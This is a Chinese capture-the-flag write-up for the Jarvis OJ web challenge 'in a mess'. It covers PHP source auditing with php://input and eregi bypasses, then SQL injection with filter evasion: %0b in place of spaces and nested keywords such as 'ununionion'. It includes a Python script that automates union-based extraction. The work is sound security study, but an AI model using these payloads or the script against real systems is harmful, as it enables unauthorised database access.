CTF-WEB-in a mess#sql注入#php代码审计

in a mess——PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

描述

连出题人自己都忘了flag放哪了,只记得好像很混乱的样子。http://web.jarvisoj.com:32780/

分析

  1. 访问看见
work harder!harder!harder!

乖巧可爱的跟着出题老师去index.phps,看到源码。

    ";
    if(!$_GET['id']){
        header('Location: index.php?id=1');
        exit();}
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.')){ 
#a里不能有.
        echo 'Hahahahahaha';
        return ;}
    $data = @file_get_contents($a,'r');
    if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){ 
        require("flag.txt");}
    else{
        print "work harder!harder!harder!";}?>

得出结论要传3个参数
1.1 id值等于0但自身不能为0
1.2 b长度大于5且可能涉及eregi绕过(譬如b[0]='.',通配符匹配)
1.3 a涉及file_get_contents,需用伪协议php://input传入"1112 is a nice lab!"

  1. 于是提交payload:id=0.0&b=%2E11111&a=php://input ; post:1112 is a nice lab!
    拿到: Come ON!!! {/^HT2mCpcvOLf},但是作为flag提交了不对(看起来是不太对但试试又不吃亏)
  2. 思路卡了,看wp发现是地址ORZ。访问http://web.jarvisoj.com:32780/^HT2mCpcvOLf,bp里直接改还不行……浏览器访问自动变成了/^HT2mCpcvOLf/index.php?id=1,页面显示hi666。
  3. id改成2则显示:SELECT * FROM content WHERE id=2,提交id=2-1发现是可以执行的,考点变成了sql注入
  4. 试了试发现有过滤,回显为如果检测到注入就返回you bad bad……,如果执行了查询不到结果就返回执行语句。根据回显逻辑一路发现过滤空格、+、/**/,部分关键词作删除处理(但可以用双重嵌入绕过),各种试空格符发现不过滤%0b,到这里差不多可以开始注入了
    ?id=-1%0bununionion%0bseselectlect%0b1,2,database()#
    ——test
    id=-1%0bununionion%0bseselectlect%0b1,2,table_name%0bfrfromom%0binformation_schema.tables%0bwhere%0btable_schema=database()#
    ——content
    id=-1%0bununionion%0bseselectlect%0b1,2,group_concat(column_name)%0bfrfromom%0binformation_schema.columns%0bwhere%0btable_schema=database()
    ——id,context,title
    id=-1%0bununionion%0bseselectlect%0b1,2,group_concat(id,context,title)%0bfrfromom%0bcontent%0blimit%0b1%0boffset%0b0#
    ——1PCTF{Fin4lly_U_got_i7_C0ngRatulation5}hi666。
    如果存在其他条目里就offset慢慢移吧,本题刚好只有一条数据。

总结

1.手动sql注入时的小经验,对于这种有过滤的,手动写语句经常出错(是我了),可以再分小点,比如都先union select 1,2,3 ,只改后面的,分步调试()
2.传参的套路感觉都不用总结了,毕竟我也是看过《正则表达式必知必会》的人()!但后面没想到括号里是网址……套路防不胜防,甘拜下风

总结2

然后因为题目简单,加作业了……写代码撸一下手动注入的逻辑。先order by(这么小的数就不二分法了()),再union select确定回显位,再查表名、列名、字段。写是写完了,写完一看这不就是sqlmap的一部分吗,我为什么不去看sqlmap的源码就好了()


CTF-WEB-in a mess#sql注入#php代码审计_第1张图片
代码执行结果
import requests

def sqlfilt(payload):#过滤绕过
    result = []
    for i in payload.split(' '):#对关键词做处理
        if i.isalpha(): #处理方法1,中间加过滤关键字union
            temp = i[:len(i)//2]+'union'+i[len(i)//2:]
            result.append(temp)
        else:result.append(i)
    return '%0b'.join(result) #空格替换方式

def step1(url): #确定column列数N
    N = 0
    for i in range(10,1,-1):
        payload = sqlfilt('1 order by %d#'%(i)) 
        ret = requests.get(url+payload).text
        if NORMAL not in ret:
            N = i+1
    print ('column总列数为%d'%(N))
    return N
def step2(url,N): #确定column回显位置
    payload = '-1 union select '
    for i in range(1,N+1):
        payload += str(i)+','
    payload = sqlfilt(payload[:-1]+'#')
    ret = requests.get(url+payload).text
    INDEX = int(ret)#可能需要在print(ret)再在回显里找一找,
    print('回显位置为%d'%(INDEX))
    return INDEX
    
def unisel(N,INDEX,string): #构造回显注入点(前半截)
    PAYLOAD = '-1 union select '
    for i in range(1,N+1):
        if i != INDEX:
            PAYLOAD += str(i)+','
        else:
            PAYLOAD += string+','
    return PAYLOAD[:-1]

def step3(url): #查看表名
    payload = unisel(N,INDEX,'group_concat(table_name)')+' from information_schema.tables where table_schema=database()#'
    payload = sqlfilt(payload)
    ret = requests.get(url+payload).text
    TABLES = ret
    print ('表名为%s'%(TABLES))
    return TABLES
    
def step4(url):#查看列名
    payload = unisel(N,INDEX,'group_concat(column_name)')+' from information_schema.columns where table_schema=database()#' #如果多的话用limit 1 OFFSET 0逐个试
    payload = sqlfilt(payload)
    ret = requests.get(url+payload).text
    COLUMNS = ret.split(',')
    print ('列名为%s'%(COLUMNS))
    return COLUMNS
    
def step5(url,COLUMNS,TABLES):#查看字段值
    string = 'group_concat('
    for i in COLUMNS:
        string += i+','
    string = string[:-1]+')'
    payload = unisel(N,INDEX,string)+' from %s limit 1 offset 0#'%(TABLES)#第一行没有就接着查-。-
    print(payload)
    payload = sqlfilt(payload)
    ret = requests.get(url+payload).text
    print ('结果为%s'%(ret))

    
s = requests.session()
url = 'http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id='
NORMAL = requests.get(url+'-1').text[:-2] #回显规则:语句正确但查询没有结果时将返回查询语句,用于基准判断
N = step1(url)
INDEX = step2(url,N)
TABLES = step3(url)
COLUMNS = step4(url)
step5(url,COLUMNS,TABLES)

大家可以看出我的代码是多么啰嗦了……好了以后再去看sqlmap怎么写的,学习下优秀的编程风格ORZ。

你可能感兴趣的:(CTF-WEB-in a mess#sql注入#php代码审计)